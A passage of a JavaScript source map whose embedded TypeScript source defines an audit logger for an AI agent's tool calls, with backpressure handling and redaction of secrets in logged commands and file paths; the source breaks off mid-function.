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","sourcesContent":["/**\n * Agent 审计日志系统\n *\n * 记录所有工具执行、安全事件和权限检查,\n * 用于安全审计、问题排查和合规性检查。\n *\n */\n\nimport * as fs from 'node:fs';\nimport * as path from 'node:path';\n\n// ── 审计事件类型 ──────────────────────────────────────────────────────\n\nexport type AuditEventType =\n | 'tool.execute' // 工具执行\n | 'tool.denied' // 工具被拒绝\n | 'tool.approval' // 工具需要审批\n | 'exec.policy' // 命令执行策略检查\n | 'file.access' // 文件访问检查\n | 'security.violation' // 安全违规\n | 'owner.confirm' // Owner 确认\n | 'rate.limit' // 速率限制\n | 'session.start' // 会话开始\n | 'session.end'; // 会话结束\n\nexport type AuditEventSeverity = 'info' | 'warn' | 'error' | 'critical';\n\n// ── 审计事件接口 ──────────────────────────────────────────────────────\n\nexport interface AuditEvent {\n /** 事件 ID */\n id: string;\n /** 事件类型 */\n type: AuditEventType;\n /** 严重程度 */\n severity: AuditEventSeverity;\n /** 时间戳 */\n timestamp: number;\n /** 会话 ID */\n sessionId?: string;\n /** 用户 ID */\n userId?: string;\n /** Endpoint ID */\n endpointKey?: string;\n /** 平台 */\n platform?: string;\n /** 工具名称 */\n toolName?: string;\n /** 命令内容(脱敏) */\n command?: string;\n /** 文件路径 */\n filePath?: string;\n /** 事件描述 */\n message: string;\n /** 详细信息 */\n details?: Record<string, unknown>;\n /** 是否被阻止 */\n blocked?: boolean;\n /** 阻止原因 */\n blockReason?: string;\n}\n\n// ── 审计日志配置 ──────────────────────────────────────────────────────\n\nexport interface AuditLoggerConfig {\n /** 是否启用审计日志 */\n enabled: boolean;\n /** 日志文件路径 */\n logFile?: string;\n /** 最小记录级别 */\n minSeverity?: AuditEventSeverity;\n /** 是否记录敏感信息(如命令内容) */\n logSensitiveData?: boolean;\n /** 日志保留天数 */\n retentionDays?: number;\n /** 最大日志文件大小(MB) */\n maxFileSizeMB?: number;\n}\n\nconst DEFAULT_CONFIG: AuditLoggerConfig = {\n enabled: true,\n minSeverity: 'info',\n logSensitiveData: false,\n retentionDays: 30,\n maxFileSizeMB: 100,\n};\n\n// ── 敏感信息脱敏 ──────────────────────────────────────────────────────\n\nconst SENSITIVE_PATTERNS = [\n /password/i,\n /secret/i,\n /token/i,\n /api[_-]?key/i,\n /credential/i,\n /auth/i,\n];\n\n/**\n * 脱敏命令中的敏感信息\n */\nfunction sanitizeCommand(command: string): string {\n return redactPasswordFlagValues(redactBasicAuthUrls(redactEnvAssignments(command)));\n}\n\nfunction redactBasicAuthUrls(command: string): string {\n let out = '';\n let cursor = 0;\n while (cursor < command.length) {\n const http = command.indexOf('http://', cursor);\n const https = command.indexOf('https://', cursor);\n const start = firstFoundIndex(http, https);\n if (start < 0) break;\n out += command.slice(cursor, start);\n const schemeEnd = command.indexOf('://', start);\n const authorityStart = schemeEnd + 3;\n const authorityEnd = findUrlAuthorityEnd(command, authorityStart);\n const authority = command.slice(authorityStart, authorityEnd);\n const colon = authority.indexOf(':');\n const at = authority.indexOf('@', colon + 1);\n if (colon > 0 && at > colon + 1) {\n out += `${command.slice(start, authorityStart)}${authority.slice(0, colon + 1)}***${authority.slice(at)}`;\n } else {\n out += command.slice(start, authorityEnd);\n }\n cursor = authorityEnd;\n }\n return out + command.slice(cursor);\n}\n\nfunction firstFoundIndex(a: number, b: number): number {\n if (a < 0) return b;\n if (b < 0) return a;\n return Math.min(a, b);\n}\n\nfunction findUrlAuthorityEnd(value: string, start: number): number {\n let i = start;\n while (i < value.length) {\n const ch = value[i]!;\n if (ch === '/' || ch === '?' || ch === '#' || isCommandSeparator(ch)) break;\n i++;\n }\n return i;\n}\n\nfunction redactPasswordFlagValues(command: string): string {\n const parts = splitCommandPreservingSeparators(command);\n for (let i = 0; i < parts.length - 1; i++) {\n if (!isPasswordFlag(parts[i]!)) continue;\n let valueIndex = i + 1;\n while (valueIndex < parts.length && isSeparatorToken(parts[valueIndex]!)) valueIndex++;\n if (valueIndex < parts.length) {\n parts[valueIndex] = '***';\n }\n }\n return parts.join('');\n}\n\nfunction splitCommandPreservingSeparators(command: string): string[] {\n const parts: string[] = [];\n let i = 0;\n while (i < command.length) {\n const start = i;\n const separator = isCommandSeparator(command[i]!);\n while (i < command.length && isCommandSeparator(command[i]!) === separator) i++;\n parts.push(command.slice(start, i));\n }\n return parts;\n}\n\nfunction isPasswordFlag(value: string): boolean {\n if (!value.startsWith('-')) return false;\n return value.slice(1).toLowerCase().includes('p');\n}\n\nfunction isSeparatorToken(value: string): boolean {\n return value.length > 0 && isCommandSeparator(value[0]!);\n}\n\nfunction redactEnvAssignments(command: string): string {\n let out = '';\n let i = 0;\n while (i < command.length) {\n const start = i;\n while (i < command.length && !isCommandSeparator(command[i]!)) i++;\n const token = command.slice(start, i);\n out += redactEnvToken(token);\n while (i < command.length && isCommandSeparator(command[i]!)) {\n out += command[i]!;\n i++;\n }\n }\n return out;\n}\n\nfunction redactEnvToken(token: string): string {\n const eq = token.indexOf('=');\n if (eq <= 0) return token;\n const key = token.slice(0, eq);\n if (!isEnvKey(key) || !SENSITIVE_PATTERNS.some((p) => p.test(key))) return token;\n return `${key}=***`;\n}\n\nfunction isEnvKey(value: string): boolean {\n const first = value.charCodeAt(0);\n const validFirst = first === 95 || (first >= 65 && first <= 90) || (first >= 97 && first <= 122);\n if (!validFirst) return false;\n for (let i = 1; i < value.length; i++) {\n const code = value.charCodeAt(i);\n const ok = code === 95 || (code >= 48 && code <= 57) || (code >= 65 && code <= 90) || (code >= 97 && code <= 122);\n if (!ok) return false;\n }\n return true;\n}\n\nfunction isCommandSeparator(ch: string): boolean {\n return ch === ' ' || ch === '\\t' || ch === '\\n' || ch === ';' || ch === '|' || ch === '&';\n}\n\n/**\n * 脱敏文件路径中的敏感信息\n */\nfunction sanitizeFilePath(filePath: string): string {\n // 保留路径结构,但隐藏敏感目录内容\n const sensitiveDirs = ['.ssh', '.gnupg', '.aws', '.kube', '.docker'];\n let sanitized = filePath;\n\n for (const dir of sensitiveDirs) {\n if (sanitized.includes(dir)) {\n const parts = sanitized.split(dir);\n if (parts.length > 1) {\n sanitized = `${parts[0]}${dir}/***`;\n }\n }\n }\n\n return sanitized;\n}\n\n// ── 审计日志记录器 ────────────────────────────────────────────────────\n\nexport class AuditLogger {\n private config: AuditLoggerConfig;\n private logStream: fs.WriteStream | null = null;\n private eventCount = 0;\n private sessionEvents: AuditEvent[] = [];\n private static readonly MAX_SESSION_EVENTS = 5000;\n /** 背压:write() 返回 false 时事件先进有界队列,'drain' 后泄放 */\n private pendingLines: string[] = [];\n private paused = false;\n private droppedCount = 0;\n private static readonly MAX_PENDING_LINES = 10000;\n\n constructor(config: Partial<AuditLoggerConfig> = {}) {\n this.config = { ...DEFAULT_CONFIG, ...config };\n this.initLogFile();\n }\n\n private initLogFile(): void {\n if (!this.config.enabled || !this.config.logFile) return;\n\n try {\n const logDir = path.dirname(this.config.logFile);\n if (!fs.existsSync(logDir)) {\n fs.mkdirSync(logDir, { recursive: true });\n }\n\n this.logStream = fs.createWriteStream(this.config.logFile, {\n flags: 'a',\n encoding: 'utf8',\n });\n\n this.logStream.on('error', (err) => {\n console.error('[AuditLogger] 写入日志文件失败:', err.message);\n });\n } catch (err) {\n console.error('[AuditLogger] 初始化日志文件失败:', err);\n }\n }\n\n /**\n * 生成事件 ID\n */\n private generateEventId(): string {\n return `evt_${Date.now()}_${++this.eventCount}`;\n }\n\n /**\n * 检查事件是否应该记录\n */\n private shouldLog(severity: AuditEventSeverity): boolean {\n if (!this.config.enabled) return false;\n\n const severityOrder: Record<AuditEventSeverity, number> = {\n info: 0,\n warn: 1,\n error: 2,\n critical: 3,\n };\n\n const minSeverity = this.config.minSeverity || 'info';\n return severityOrder[severity] >= severityOrder[minSeverity];\n }\n\n /**\n * 记录审计事件\n */\n log(event: Omit<AuditEvent, 'id' | 'timestamp'>): void {\n if (!this.shouldLog(event.severity)) return;\n\n const fullEvent: AuditEvent = {\n ...event,\n id: this.generateEventId(),\n timestamp: Date.now(),\n };\n\n // 脱敏处理\n if (!this.config.logSensitiveData) {\n if (fullEvent.command) {\n fullEvent.command = sanitizeCommand(fullEvent.command);\n }\n if (fullEvent.filePath) {\n fullEvent.filePath = sanitizeFilePath(fullEvent.filePath);\n }\n }\n\n // 添加到会话事件(FIFO 淘汰)\n this.sessionEvents.push(fullEvent);\n if (this.sessionEvents.length > AuditLogger.MAX_SESSION_EVENTS) {\n this.sessionEvents.splice(0, this.sessionEvents.length - AuditLogger.MAX_SESSION_EVENTS);\n }\n\n // 写入日志文件\n this.writeToFile(fullEvent);\n\n // 控制台输出(仅警告及以上级别)\n if (fullEvent.severity === 'warn' || fullEvent.severity === 'error' || fullEvent.severity === 'critical') {\n this.consoleLog(fullEvent);\n }\n }\n\n /**\n * 写入日志文件(含背压处理)\n *\n * write() 返回 false 表示内部缓冲已满:暂停直入、事件行进入有界队列,\n * 'drain' 后泄放;队列超上限(MAX_PENDING_LINES)丢弃并计数,\n * 计数定期以 warn 审计事件落盘。\n */\n private writeToFile(event: AuditEvent): void {\n if (!this.logStream) return;\n\n try {\n const logLine = JSON.stringify(event) + '\\n';\n if (this.paused) {\n this.enqueueLine(logLine);\n return;\n }\n const ok = this.logStream.write(logLine);\n if (!ok) {\n this.paused = true;\n this.logStream.once('drain', () => this.onDrain());\n }\n } catch (err) {\n console.error('[AuditLogger] 写入日志失败:', err);\n }\n }\n\n private enqueueLine(logLine: string): void {\n if (this.pendingLines.length >= AuditLogger.MAX_PENDING_LINES) {\n this.droppedCount++;\n this.maybeLogDropWarn();\n return;\n }\n this.pendingLines.push(logLine);\n }\n\n /** 首次丢弃及每 1000 条丢弃落一条 warn 审计事件 */\n private maybeLogDropWarn(): void {\n if (this.droppedCount === 1 || this.droppedCount % 1000 === 0) {\n this.log({\n type: 'security.violation',\n severity: 'warn',\n message: `审计事件写入队列超限,已丢弃 ${this.droppedCount} 条事件`,\n blocked: true,\n details: { droppedEvents: this.droppedCount },\n });\n }\n }\n\n private onDrain(): void {\n this.paused = false;\n const stream = this.logStream;\n if (!stream) {\n this.pendingLines.length = 0;\n return;\n }\n while (this.pendingLines.length > 0) {\n const ok = stream.write(this.pendingLines.shift()!);\n if (!ok) {\n this.paused = true;\n stream.once('drain', () => this.onDrain());\n return;\n }\n }\n }\n\n /**\n * 控制台输出\n */\n private consoleLog(event: AuditEvent): void {\n const prefix = `[Audit:${event.severity.toUpperCase()}]`;\n const message = `${prefix} ${event.type}: ${event.message}`;\n\n switch (event.severity) {\n case 'warn':\n console.warn(message);\n break;\n case 'error':\n case 'critical':\n console.error(message);\n break;\n default:\n console.info(message);\n }\n }\n\n /**\n * 记录工具执行\n */\n logToolExecution(toolName: string, args: Record<string, unknown>, result: unknown, duration: number): void {\n this.log({\n type: 'tool.execute',\n severity: 'info',\n toolName,\n message: `工具 ${toolName} 执行完成`,\n details: {\n args: this.config.logSensitiveData ? args : undefined,\n duration,\n success: true,\n },\n });\n }\n\n /**\n * 记录工具被拒绝\n */\n logToolDenied(toolName: string, reason: string, context?: Record<string, unknown>): void {\n this.log({\n type: 'tool.denied',\n severity: 'warn',\n toolName,\n message: `工具 ${toolName} 被拒绝: ${reason}`,\n blocked: true,\n blockReason: reason,\n details: context,\n });\n }\n\n /**\n * 记录命令执行策略检查\n */\n logExecPolicy(command: string, allowed: boolean, reason?: string): void {\n this.log({\n type: 'exec.policy',\n severity: allowed ? 'info' : 'warn',\n command,\n message: allowed ? `命令允许执行: ${command}` : `命令被拒绝: ${reason}`,\n blocked: !allowed,\n blockReason: reason,\n });\n }\n\n /**\n * 记录文件访问检查\n */\n logFileAccess(filePath: string, 